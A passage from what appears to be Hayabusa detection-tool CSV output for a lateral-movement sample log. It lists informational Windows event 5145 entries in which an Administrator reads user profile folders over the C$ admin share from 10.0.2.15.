10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.596 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\account$\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.606 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.616 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.626 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.626 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.626 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.636 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.666 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.676 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admin01\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.686 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.696 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.706 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.716 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.727 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Contacts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Desktop\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.737 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Documents\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Downloads\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Favorites\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Music\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.747 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Pictures\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Saved Games\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Searches\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Videos\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:23.757 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Administrator.EXAMPLE\Desktop : IP Address: 